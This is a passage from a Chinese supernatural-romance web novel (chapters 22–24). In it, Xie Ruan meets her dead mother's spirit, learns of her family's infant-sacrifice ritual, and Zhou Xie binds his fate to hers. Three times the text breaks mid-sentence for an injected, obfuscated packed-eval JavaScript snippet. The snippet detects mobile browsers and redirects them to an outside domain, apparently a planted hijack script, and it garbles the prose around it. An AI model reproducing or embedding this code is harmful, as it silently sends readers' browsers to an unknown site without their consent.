阮栀榆被刻有自己生辰的木牌镇压在病房里不得往生,碰巧谢阮坠入河中,拉人进来原本是有事交代,没想到木牌受河底的冤魂影响,染了煞气,险些害死谢阮。 “她很愧疚。”周邂踟蹰片刻,抬手覆在对方头顶,安抚地顺了顺她乱掉的发丝,“她很爱你,你想见她吗?” 谢阮一怔,“可以吗?” 周邂点点头,他起身拍掉裤子上沾染的香灰,朝谢阮伸手,“我带你从这里离开,回到魂场真正的中心地。” 他的声音低沉而有力,谢阮毫不犹豫地抬手搭在他掌心,借力站起来。 “跟紧我。”周邂深深看了她一眼,随后取下一盏蜡烛,丢到两侧垂下的帷幔上。 烛火迅速向上蔓延,熊熊大火蒸腾起灼热的温度烘烤着高台之上的牌位,噼里啪啦的焚烧声中,怪异的木香四散开来。 谢阮本能屏住了呼吸,下一秒,身后伸出一只手捂住她的口鼻,扶桑木的清香紧接着在呼吸间绽开。 虚空中荡开一阵朦胧的白光,两个人消失在了原地。 22. 阮栀榆 冲破记忆回溯的时间似乎很漫长,白光覆下来时,小祠堂轰然倒塌。 鼻息间的木香阻隔了全部的火燎气,谢阮后背紧贴着周邂的胸膛。 男生心跳鼓噪而有力,每一下都落在她振动的脉搏上。 纤长睫毛微动,谢阮缓缓闭上眼睛,悬在半空中的心缓缓回落。她松开蜷起的手指,莫名有些贪恋体温给予的安全感。 再次睁开眼,他们已经站在了走廊尽头。 穿过这条寂静黝黑的长廊,走到护士台向左拐,右手第三间病房就是阮栀榆躺了三年的地方。 旧景重现,谢阮感到几分熟悉。 七岁到十岁的每个周末,她从走廊边的小门进入医院,负责接应她的护工会把她送到阮栀榆病房外。 谢阮只能透过那扇狭窄的探视窗远远看一眼母亲,一周一次,直到阮栀榆如花期将至的玫瑰,慢慢凋落,最终死去。 久违的无力感再度涌现,谢阮抬手抹去眼角洇出的湿意,视线却不受控制地变得更加模糊。 周邂手背一热,意识到自己还没把人放开的同时,发现谢阮哭了。 他默默收回手,老老实实站到谢阮身侧,高大身影略有些局促。 怔了两秒,他暗自叹了口气,转身看向谢阮。 木香悠然落下,谢阮冷不丁被人拥进怀里,眸光微错,呼吸也跟着乱了节奏。 周邂什么都没说,但谢阮知道,他理解了她的近乡情怯,也共情了她的犹豫不决。 耳畔是沉沉的心跳,谢阮低下头,额头抵在他胸前,如同溺水者拼命攥紧了那根救命的绳索。 棉质布料无声漫开一片潮湿,周邂垂眼,虚搭在谢阮肩后的手终于落实,轻轻拍了拍她的后背。 良久,谢阮气息渐缓,慢吞吞抬头。 男生穿着的那件深色短袖有一小块地方明显又深了些,她盯着那里多看了几眼,头顶忽然响起一声轻咳。 谢阮下意识抬眼。 周邂于是看见了一片迷蒙的雾。 两人短暂对视,紧接着又不约而同移开视线。 谢阮摸摸鼻子,“抱歉。” “没关系,一会儿就干了。”周邂用力闭了下眼,嗓音微哑,“先去病房。” 谢阮点点头,抬脚朝走廊另一端走。 周邂不远不近地跟在她身侧,没走几步发现谢阮好像又习惯性地贴上了右面的墙。 她在害怕,周邂微微拧眉,不动声色地拉近了两人的距离。 慈安医院占地面积不大,比起正规的三甲医院,它更像是专业的私立疗养机构,而且仅面向富人开放。 正因为客户群体非富即贵,慈安医院内部安保严密,护工都接受过严格培训,谢阮因此始终没能找到机会潜入病房里。 他们很快走到了长廊的尽头。 丝丝缕缕的阴气从一间紧闭的病房内渗出来,在门前团成一片浓郁阴暗的黑雾。 谢阮脚下一滞,随后将手搭在了门把上。 “以往这扇门是打不开的。”她抿抿唇,声音低落,“现在有机会打开,反而有点不敢。” 小时候拦住她的门已然成了扎在心底的一根刺,谢阮迟迟没有按下门把手,游移的目光穿过门上狭小的玻璃窗,窥见病房里阴气缭绕,阮栀榆深陷在浓雾中,与纠缠不断的黑线融为一体。 少顷,手背覆上另一只手,周邂虚拢住她的手,替她推开了那扇门。 他轻轻推了谢阮一把,“我陪着你,别怕。” 别怕,耳畔低喃与落水前的耳语瞬间重合,谢阮扭头,看见周邂就在她身后。 他的眼神温柔而坚定,仿佛只要她回头,便能发现他一直在。 去吧,周邂朝她比了个口型,像是鼓励。 谢阮别过脸,一步一步走向病床。 病床上,阮栀榆似有所感,微弱的声音穿过病房周围冤魂歇斯底里的啸叫,隐隐带着几分不确定,“元元?” “是我。”谢阮摸索着抓住她的手,重复道,“是我。” 阮栀榆喃喃,好像说了什么,谢阮听不清,她只能从不断挣扎的黑气中感受缠绕在母亲魂体上的痛苦。 有几缕黑线试探着接近谢阮的指尖,周邂轻啧一声,屈指打出一绺幽绿的暗芒,黑线还未碰到谢阮便蠕动着退了回去。 他安静地倚着门框,视线落在谢阮侧脸,看她激动、担忧、惊喜、惊恐。 明明眼角眉梢都是挥之不去的哀伤,却依旧竭力表现出一副没事人的模样,脆弱又坚韧,像枝头摇摇欲坠的花。 雾气减淡后,阮栀榆恢复了一点理智,她艰难伸手,指尖穿透浓雾,轻轻碰了碰谢阮的脸颊,“元元已经长这么大了。” 谢阮吸了吸鼻子,顺势握住她的手贴在自己脸侧,沉沉地嗯了一声。 长时间的封禁几乎耗死了阮栀榆,她的魂体苍白近乎透明,谢阮张了张嘴,想和母亲说会儿话,又怕一开口,眼泪就止不住。 阮栀榆好像看出她的窘迫,无可奈何地叹了一口气,她朝门口的周邂招招手,示意他过来。 “我很抱歉把你拉进来。”阮栀榆转向谢阮,“但听小周的意思,你已经是第二次生魂离体,这是从来没有过的事。” 谢阮闻声一愣,惊讶于她对魂场一事表现出的熟悉。 “普通人进入魂场的可能性非常小,更不要说你连着进来了两次。”周邂补充道,“如果不是八字特别轻,几乎不可能出现这种情况,但阮姨否定了这个可能。” 八字?谢阮一头雾水,“为什么?” 阮栀榆阖眼,“因为我和你互相换过命。” - 结发为夫妻,恩爱两不疑。 在黎津上层联姻十分普遍的年代,阮栀榆和谢延旻却是自由恋爱。 谢延旻年长她几岁,初遇时,阮栀榆刚上大学,还只是美术学院里一个小有天赋的学生。 黎津的贵太太们平日没什么特别的喜好,喝茶赏花,摸牌逗猫,偶尔兴起也会附庸风雅逛逛画展,拍下几幅看起来像是悲怆文学杂糅着抽象元素的写实风格油画回去挂起来。她们并不在意画作的美学流派,或是画家想要表达的内容,成交价格才是她们想要拿出来炫耀的东西。 珠宝太俗,万中无一的孤品更雅。 谢延旻因此来到黎津新开的一家美术馆,替谢母买一幅画。 这间美术馆从上空俯瞰,形似飞鸟,建筑设计稿据传是由津大建筑系和隔壁美院共同完成。作为江盛地产的千金、艺术设计专业第一,阮栀榆自然也参与了这个项目。 项目组有她一席之地,揭幕仪式自然也邀她出席。 展馆中同时收录 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14686824|154922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有美院学生的作品,阮栀榆后来回忆起在自己毕设展柜前遇见谢延旻的场景,总禁不住感叹命运的神奇。 成熟稳重又英俊多金的男人在社交方面多少有些得天独厚的条件,谢延旻谈吐不俗,耐心地陪她从文艺复兴聊到后现代艺术,并且对阮栀榆想要名垂画史而非继承江盛做一个商人表现出前所未有的体谅与支持。 恋爱顺理成章,婚礼更是水到渠成。 两人在一起后度过的第一个情人节,谢延旻向她求婚了,烛光晚餐配上娇艳欲滴的红玫瑰,尽管仪式老套,但阮栀榆仍然为此心动。 她摸了摸手指上流光溢彩的钻戒,笑着抱怨,“我还是更喜欢白玫瑰。” 长禄山下的谢宅因此得到了一次扩建,后花园里多了一座种满白雪山的玻璃花房,谢延旻甚至贴心地布置了绘画材料。 谢延旻许诺,“等你毕业,我们就结婚。” 然而阮栀榆还未毕业,父母便双双意外离世,偌大家业无人支撑,是谢延旻帮她稳住了风雨飘摇的江盛。 用的却不是未婚夫的名义。 谢家对外声称收养了阮栀榆,他们是名义上的养兄妹。 “很久以后我才知道,谢延旻从没打算和我结婚。”阮栀榆牵唇彻出一个难堪的笑。 她和谢延旻只在谢家人的见证下办过婚礼,因为那一次传统的中式婚礼是某种仪式的重要一环。 婚仪是契约,鲜血也是契约。 而比起谢家藏在后山祠堂里的秘密,谢延旻的婚外情更早暴露。 没有结婚证,阮栀榆连质疑对方的立场都不够充分,丈夫的婚外情令她长久沉浸的爱情世界瞬间崩塌,如同滋养玫瑰的泥土倏然裂开,露出表层下看似平静的沼泽地。 她像正在衰败的白雪山,迅速失去了原有的生机。 阮栀榆不是不想离婚,没有一纸文书她大可以一走了之,但江盛在谢延旻的运作下已然与谢家的产业密不可分,更重要的是,阮栀榆怀孕了。 “太不合时宜了。”阮栀榆眼底划过几分愧疚,“我本想打掉这个孩子,但消息被医生泄露给了谢延旻,再然后我就被关进了谢宅,直到你出生。” 她以为自己的价值已经被利用殆尽,当谢延旻表现得非常急切甚至提出想要留下这个孩子的时候,阮栀榆本能察觉到一丝不对劲。 “可惜我那时精神状态非常不好,谢延旻发现我有自杀倾向的时候,带我去了一趟后山祠堂。”阮栀榆艰难地握住谢阮的手,声音轻了许多,“有些话活着的时候不能说,死后想说又找不到机会了。” 小祠堂里摆放的牌位往前可以追溯到谢家还在南方的时期,数量不算多,但凡是在列的,全都是谢家嫡系。名字以谢姓开头的本家人,牌位皆由上好的紫檀木制成,入赘或是嫁入谢宅的,则一般不会被放入祠堂。 但谢阮隐约记得,在梦中曾见过阮栀榆的牌位。 “不,那不是我的牌位。”阮栀榆侧眸看她,“换命前,木牌上刻着你的名字。” 谢阮不知道,小时候谢延旻对外一直宣称她是养妹的孩子,后来阮栀榆病逝,谢家收养了她的女儿,更名为谢阮,以示谢家和阮家的渊源。 “实际都是面子工程,所图不过是江盛,和……”阮栀榆说着忽然开始剧烈咳嗽。 “和我的生辰八字。” 23. 换命 现在很少有人会用生辰来代替生日,而在风水玄学中,生辰往往意味着命缘。 于阮栀榆而言,这个孩子来得不合时宜,谢延旻的过分重视尤其令她心生不安。 “那绝不是一个新手爸爸对孩子的期待。”阮栀榆如是说。 怀孕一事被医生透露给谢延旻后,她便失去了自主权,固定产检、规律饮食、养胎用药,桩桩件件都由谢延旻一手操办。 阮栀榆被迫留下了这个孩子。 母爱是流淌在女性身体里的血液,天性难以违拗,她无法不爱自己的孩子。 所以当谢延旻把她带入后山祠堂,主动向她展示谢家秘辛一角时,阮栀榆不相信,却也不敢拿血脉相连的女儿做赌注。 “他告诉我,后山埋葬的从来不是历代家主。”阮栀榆回忆起那天的场景,重重闭了闭眼,“而是嫡系的第一个孩子。” 即使阮栀榆自杀,腹中成形的孩子也会被剖出来,埋入祠堂后的坟地。 血肉是最好的祭品,刚出生的婴儿尤甚。 谢延旻并非谢母的长子,在他之前还有一个女婴,还不曾睁眼看一看世界便悄无声息地被人闷死在摇篮里。 谢母不知内情,只以为女儿先天不足而早夭,阮栀榆想求助于她时才发现,谢延旻一早就将对方送往国外疗养了。 没有人可以帮她,老宅是吃人的囚笼,所有知情人都是帮凶。 阮栀榆临死才知道,自己不是谢家“收养”的第一个富家女。多年来,谢家一直以“收养”的名义,干着与何家“资助”穷学生目的相似的勾当。 “为什么不是谢如远?”谢阮打断她。 阮栀榆轻嗤一声,说:“蔡兰梓以为谢延旻容不下她的孩子,称病远走,直到谢如远出生前都没有联系过他。” 前后不过一年多,恰好阮栀榆怀孕,谢延旻根本顾不上养在外面的女人。 谢阮蹙眉,问:“杀死第一个孩子到底是为了什么?” “仪式。”阮栀榆侧眸望着她,“为了一个仪式。” 启动这项仪式需要新婚夫妇的血液,所以婚礼是第一层契约。谢家人假借婚检取走了阮栀榆的血液样本,负责仪式的老人会把血液带到后山祠堂,术法结成后,新妇的命从此便与谢家全族的荣辱兴衰系在了一起。 无比契合的八字能为谢延旻的人生锦上添花,但这依然不够,仪式完成还需要一个契机。 或者说,是一个注定要被献祭的孩子。 “你应该见过那块方形的小木牌。”阮栀榆打散枕边浓重的黑雾,从枕下抽出一块相同的木牌,“因为刚出生的婴儿不能立牌位入祠堂,谢家人就用槐木制成了这种木牌,再刻上出生日期,等到婴儿死后一同放入棺木中,四角钉死,贴符埋进祠堂后的坟地。” “槐木?”谢阮微怔。 “槐木招鬼,制成木牌与枉死的婴儿放在一起容易成煞。”周邂看出她的疑惑,出声解释道,“新生命由父母精血孕育成形,所以可替父母担下业果,阮姨的命既然已经与谢家分割不开了,那么谢家的孽便会由死婴来担。” 换而言之,这是一种净化手段。谢家绵延数代,生生不息,后山不知埋葬着多少婴孩的尸骨。 阮栀榆轻叹,“元元是我唯一的孩子。” 谢阮比后山那些孩子幸运的地方在于,她有一个爱她胜过自己生命的母亲。更凑巧的是,医院推算出的预产期,完美拟合了风水先生推演的日子。 “那天本该是六月初八。” 如果谢阮生于六月初八,她就有机会摆脱沦为祭品的命运,后面的这些事也都不会发生。 但阮栀榆难产了。 她最终在六月初九的凌晨生下谢阮,彼时正值子夜交替,窗外狂风大作,犹如万鬼哭嚎,上弦月隐入云后,谢家人因此认为谢阮不详。 他们要求谢延旻把仪式提前。 而阮栀榆不可能眼睁睁地看着自己的孩子死去,穷途末路之下,她和谢延旻做了一笔交易。 她愿意代替谢阮完成仪式,作为交换,谢延旻必须保证谢阮平安长大,并在谢阮成年后,将代管的江盛股份归还于她。 这样的替代史无前例,可阮栀榆八字好,风水先生算过日子,点了头。 至于谢延旻和其他知情的谢家人根本无所谓祭品是谁,他们从来只看结果,只要仪式能够顺利进行,结契的是母亲、妻子还是孩子,都无所谓。 谢阮受洗那日,祠堂里出现了两枚新的槐木牌,一块刻着谢阮的生日,另一块则属于阮栀榆。 仪式落成,谢阮从此无病无灾,阮栀榆的身体却每况愈下。 “你应该记不太清小时候发生的事了。”阮栀榆吃力地抬起手,轻轻碰了碰谢阮的脸,“那天,蔡兰梓计划了一场车祸,送你来医院的那辆车掉进了运河里。” 谢阮闻言有些茫然,似乎对这段往事毫无印象。 一旁,周邂瞳孔骤缩,脑海中闪过什么。 换命之后,母女二人的生命力此消彼长。 阮栀榆某天忽然感觉到流失的生命力似乎在缓慢恢复,第一反应就是谢阮出了意外。 然而,护工对她离开病房的请求视若无睹,阮栀榆走投无路,把心一横,硬生生咬开了手腕上的皮肉。 温热的血液迅速外流,没多久速度却明显减慢,伤口甚至在以肉眼可见的速度愈合。 如果不是谢阮生命垂危,阮栀榆绝不可能拥有这样的自愈能力,她闭了闭眼,脑海中一帧一帧浮现出女儿的模样。 “机缘巧合,我见过你二叔一面。”阮栀榆移开眼,视线落在周邂脸上,“他教会了我静心咒,却没发现我学走了别的东西。” 谢阮转入ICU时,阮栀榆因为动脉失血过多,停止了呼吸。 为了阻止自己恢复,她不停地咬开手腕,绽开的皮肉浸泡在一片猩红之中,护工察觉到不对时,病房里已经腾起了化不开的血雾。 洁白墙面上,暗红色的血迹早已干涸,大片的血色绘制出复杂的图案,以阴阳图为核心外扩成数十道交相缠绕在一起的椭圆,那是阮栀榆以自己为代价立下的毒咒。 她擅自修改了周二叔教给她的用以净化阴气的符篆,从查阅的古籍中找到了阴阳倒转的办法,在自身承接的怨气和咒言间牵连出一条线。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14699777|154922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 只要谢阮再次陷入生死困顿,以阮栀榆本人作为阵眼的大阵就会随着谢阮的死亡一同崩塌,届时延续谢家气运的支柱倒下,谢家亦是唇亡齿寒。 阮栀榆活着的时候受制于人,只字未提,死后想找机会托梦给谢阮,魂魄却被槐木牌镇压在这里无处可去。 病房内温度骤降,阮栀榆的魂体越发虚弱。 “她怎么了?”谢阮被空气中源源不断的凉意逼得起身退至周邂身边。 不远处,阮栀榆横躺在病床上,刻有她出生日期的槐木牌被黑气托起来,悬在半空,源源不断的啸叫声朝四面八方散开。 周邂指尖轻点,弹出一道暗芒,幽绿色的光四散成线牵扯住木牌,为谢阮维持住了这场短暂的重逢,“魂场入口正在关闭,外面应该快要天亮了。” 魂场入口一旦闭合,生魂想要离开就只能等待下一次子夜交替,但魂场内阴森寒凉,生魂浸染在阴气中越久,出去后越不容易恢复,所以魂魄离体太久不是什么好事。 他们最好是在第一个日出前离开。 出路在阮栀榆,只有魂场主人消散,魂场才会崩塌。 但阮栀榆身上背着属于谢氏的罪孽,她去不了轮回之地,魂场一旦崩塌,等待她的依旧是魂飞魄散。 与此同时,没有阮栀榆续命,谢阮会回归到自己原本的命格里,那些因为谢家人贪得无厌而造成的业障,将由谢阮一力承担。 出去是死,不出去也是死,摆在他们面前的是一个死局。 周邂做了那个破局的人, 余光扫过谢阮侧脸,他问阮栀榆:“如果由我代替您呢?” 阮栀榆一愣,“你知道这意味着什么吗?” 换命本就是禁术,施术者必然会受到天理伦常五行自然的反噬,轻则折寿,重则当场毙命,而换命一旦成功,两人便是真正的命运纠缠,不可分割。 古今历来使用此术的人,都是亲人横死,走投无路,所以甘愿献祭自我。 但在阮栀榆眼中,周邂和谢阮不过萍水相逢,若说他对谢阮有几分情意在,世间情爱又最是靠不住,单阮栀榆她自己就是活生生的例子。 目光交错,周邂瞬间反应过来她在担心什么,也能体谅了她作为母亲的质疑。 他仍旧目光坚定,俨然下定了决心,“您既然与二叔是朋友,自然清楚这里只有我有能力完成这件事。” 传闻猫有九命,他本体类猫,死不了。 阮栀榆意味深长地看了他一眼,不再阻拦,谢阮却不同意。 她虽听不懂他们话里的术语,但直觉告诉她事态之严重已非个人力量所能抗衡,而且周邂是她的朋友,没有义务掺和进谢家的烂摊子。 “你打算怎么解决?”周邂毫不留情地揭穿她,“从这里出去以后就和他们同归于尽吗?” 谢阮一哽。 周邂叹了口气,“现在我是最合适的人选,一切都等离开魂场再说,我二叔一定有办法帮我们解开禁术,别担心。” “如果解不开呢?”谢阮不依不饶。 周邂失笑,“那就只好麻烦你多积德行善了,小菩萨。” 24. 禁术 生老病死,凡人死后并不是阎王一挥笔便能前尘尽忘。 得等生死簿上一笔勾销,才能尘归尘,土归土。 亡魂需由无常引去判官面前,裁定生前的是非功过。穷凶极恶之徒自然得刀山火海滚上一遭,严重些的就打入十八层地狱,下辈子投胎多半要入畜生道,而乐善好施之辈则魂体镀金光,来生喜乐无忧,平安康泰。 阮栀榆受禁术所困,背负了太多恶业,不过天上地下总有陈情处,判官那里自有分晓。 但周邂不是人。 他甚至算不得猫妖,如果结契以后,谢阮作恶多端,那么周邂不仅要替她善后,还要承受天道降下的现世报。 所幸果报有好有坏,只要谢阮行善积德,法则嘉奖的福报便会同等地加诸于周邂身上,他那番话并不是玩笑。 只是换命到底过于冒险,周邂有意隐瞒,谢阮也仍在犹豫。 阮栀榆见两人僵持不下,出言劝解,“其实不必用我当年用的法子。” 她是谢阮的母亲,彼此有血缘关系作为链接纽带,又因为有方士护法,才勉强结契成功。但周邂和谢阮之间远不及血脉相连的关系来得亲近,术法恐怕很难奏效。 阮栀榆温声道:“现在只要能用部分灵力抵挡住最后的反噬就行。” 运河底部怨灵横行,魂场崩塌的瞬间因此最凶险,只有捱过那段时间,回到现实世界里的魂体才不至于损伤过重。 但谢阮将要背负的业债依旧无解。 周邂沉吟半晌,提出了另一个折中之法。 不换命,只在两人的命缘间牵一条线,双方各自承担一半因果。 谢阮了解不深,闻言眼底浮出几分疑惑。 阮栀榆对此倒是略有耳闻,因为此前她也考虑过周邂说的这种办法,可惜那年六月初九天有异象,以命换命是唯一解。 她撩眼打量起面前神色坦荡的男生,过了一会儿点头道:“你来吧。” 话音未落,悬浮在半空中的槐木牌隐隐散发出暗色的光,交织的黑线刻镂着阮栀榆的八字,半掩的房门在呼号的阴风中哐啷作响。 谢阮明显感知到有什么东西正迅速离她远去,怔忪间她反应过来,这应该是最后一次见到阮栀榆了。 后背被人轻轻推了一下,周邂低声说:“去和她道别吧。” 纷乱陈杂的雾向两侧散开又很快聚拢,谢阮走过去,摸索着在床前蹲下。 目光透过若隐若现的阴气,她看见阮栀榆忽然绷紧身体,向后仰起了脖颈,仿佛垂死挣扎的天鹅,痛苦而窒息。 她朝阮栀榆伸手,嗓音有些颤抖,“我该走了。” “元元,你答应我,要好好照顾自己,好好活着。”阮栀榆回握住她,干瘦的指骨攥得谢阮手腕发疼,“有的路太难走,就算了吧。” 谢阮别过脸,视线有一点模糊,“你还会回来看我吗?” 阮栀榆勉力一笑,只说:“妈妈爱你。” 说着,她松开谢阮,抬手自上而下划过虚空。 汹涌的风把谢阮推了出去,阮栀榆扬声,“时间不多了!” 周邂收到信号,单手扶住跌撞过来的谢阮,另一手从脖子上摘下猫猫木牌塞进她手里。 “结契完成后可能对生魂产生冲击,扶桑木能保护你。”他低头看向谢阮的眼睛,嘱咐道,“魂场崩塌时阴气会聚成涡流,一定要跟紧我。” 谢阮点头,问:“你怎么办?” 扶桑木只有一块,给了她,周邂该拿什么去应付魂场内逸散的游魂? 周邂见状,退后半步,手指翻飞掐出一道诀。 “我跟二叔学过保命的东西。”他弯起唇角,磁沉的嗓音里似乎包裹着一股令人安心的力量,“别担心,我带你回家。” 话音刚落,他抬手咬破了指尖。 母女结契需要以血为引,周邂如果想要代替阮栀榆的角色,当然不例外。 鲜红的血珠从伤口一滴一滴析出,犹如真空中悬浮的水珠,随着周邂展臂、翻腕,一笔一划汇成了一张阵法图。 他侧眸看向谢阮,“手给我。” 谢阮会意,迅速咬开指尖。周邂牵着她,另一只手握住她的手,引导她在阵法的四角和中心抹上鲜血。 最后一笔落下,复杂的赤红色图案顷刻间迸发出数道金色光芒,谢阮清晰感觉到自己的魂体正不断被某种引力推向周邂,直至严丝合缝地嵌进对方怀里。 耀眼的金芒笼罩着两人,像一层金刚不破的保护罩,暂时隔绝了外界缭绕的阴气。 还未完全失去意识的阮栀榆远远看见阵法的纹路,蓦地瞪大了双眼。 她诧然转头,正对上周邂温和而坚定的目光,男生竖起食指贴在唇上,示意她噤声。 阮栀榆默了默,最终无可奈何地笑了。 眼前的阵法与周邂方才描述的大相径庭,她偷偷学习过换命的禁术,自然认得出周邂现在开启的,同样也是禁术。 大阵落成,他会和谢阮同生共死,永生永世纠缠在一起。 可神兽的一生何其漫长。 比起周邂,谢阮实在是太脆弱了,他这是在燃烧自己的生命为谢阮续命。 良久,阮栀榆终于释怀,她移开眼,出神地盯着灰白的天花板,四周黑雾疯狂窜动,眨眼的工夫便将她和两人分隔开来。 她因此没有看见金光里忽然溢出的青绿色光芒。 一半在周邂体内,另一半则通过阵法悉数附着到扶桑木上,源源不断沿着谢阮的手流入她的身体里,庇护着她的心脉。 与此同时,另一道浅浅的如丝线般的红渐渐浓郁,从两人心口迸射而出,延展向对方,缠绕、交织、融为一体。 大阵压下来的刹那,魂场崩塌,过往模糊的记忆如同纷纷扬扬的雪花涌入脑海,谢阮双眼紧阖,倒在了周邂怀中。 - 黎津下了一夜暴雨,清晨雨停,天空一碧万顷,淡金色的晨光悬在天边,像一层朦胧的光膜。 谢阮在一阵轻微的窒息感中醒来。 她慢吞吞翻了个身,看见窗台上摆着一盆绿植,枝叶苍翠欲滴,在微风中左摇右晃,丝毫没有受到大雨的影响。 另一边,低矮的茶几上放着一盅热气腾腾的粥,病房内没有其他人,但看样子,照顾她的人应该没走远。 谢阮出神地望着保温桶,冷不丁想起一件旧事。 那时她刚记事不久,从幼儿园出来没几步便被不知从哪儿窜出来的大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14712080|154922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 黄狗吓了一跳,回家不久就开始发烧。 迷迷糊糊间,谢阮梦见自己在一条漆黑的路上拔腿狂奔,幽长的路没有尽头,背后却有一只冲着她狂吠的大狗。 小谢阮烧得脸蛋通红,额头上全是汗,她双手攥紧了棉被,嘴里嘟嘟哝哝,好像在说梦话。 她不知疲倦似的在梦中跑了很久很久,直到道路两侧砰地亮起灯光,身后密集的狗叫声才慢慢失去了踪迹。 “元元不怕,妈妈在这呢。”温柔的女声像一双无形的手,拂去了她眉间的褶皱。 灼热的呼吸里卷进清浅的玫瑰香,小谢阮不自觉地放松下来,沉沉睡去。 元,比圆满更多了一层深意,她是阮栀榆的第一个孩子,是阮栀榆不惜付出生命的代价也要留下的孩子。 谢阮想起小名的意义,鼻尖一酸,原来她也是被人期待着来到这个世界上的。 掩在被子下的手下意识收拢,手心却被什么坚硬的东西硌了一下。 她摊开掌心,发现周邂的猫猫木牌还躺在她手里,扶桑木如同上好的玉料,温暖润泽,不知怎地,这会儿有些发烫。 谢阮撑起胳膊坐到床边,打算仔细研究一下周邂的小木牌,忽然听到门外一阵骚动,她赤脚踩着地毯,扶墙走到门边,把门拉开一道窄缝。 护士医生推着一张急救床匆匆经过,紧随其后的几个人神色焦急。 谢阮一愣,她看见了方季遂。 一行人正朝着急救室的方向赶去,谢阮顾不得胀痛的脑袋,胡乱踩了一双鞋子就往外跑。 她追上方季遂时,急救室的门刚刚关上。 大门顶部,红色的指示灯噌地亮起,而银色外门泛起冰冷的光,令人本能地感到不安。 谢阮下意识抬起胳膊挡在眼前,眼底仿佛仍然覆盖着一室猩红血迹。 她沉默地站在墙角,心跳得很快。 方季遂缓了口气,在走廊里来回踱步,绕到拐角边才发现谢阮。 “阮姐,你怎么来了?”他掏了掏裤兜想给梁桢打个电话,结果什么也没摸着,应该是刚才来得匆忙,手机落在周邂房里的小沙发上了。 谢阮嗫嚅着问:“谁在里面?” 方季遂不吭声。 谢阮心下了然,“周邂怎么样了?” 方季遂有一瞬的迟疑,思索片刻还是没有瞒她,“不太好,但师父已经在来的路上,师兄会平安无事的。” 原来不是错觉,谢阮膝弯一软,颓然倒向走廊一侧的墙壁。 魂场崩塌时的画面一帧一帧在眼前重现。 她双手环抱,搭在自己胳膊上,试图还原那个温暖坚实的怀抱。 周邂弯腰,用手护住了她的后脑和背心,金光璀璨得近乎刺眼的瞬间,他抱住她毅然转过身。 两人位置调换,周邂替她挡下了致命一击。 陷入昏迷的前一秒,谢阮隔着消散的薄雾隐约窥见一张失了血色的面孔。 彼时周邂眉头紧锁,唇缝间缓缓洇出一道血线。 滚烫的血坠向地面,难以忽略的温度却仿佛穿透皮肤,落在了她心口。 保命的术法是骗她的。 扶桑木只有一块,周邂把活下去的机会留给了她。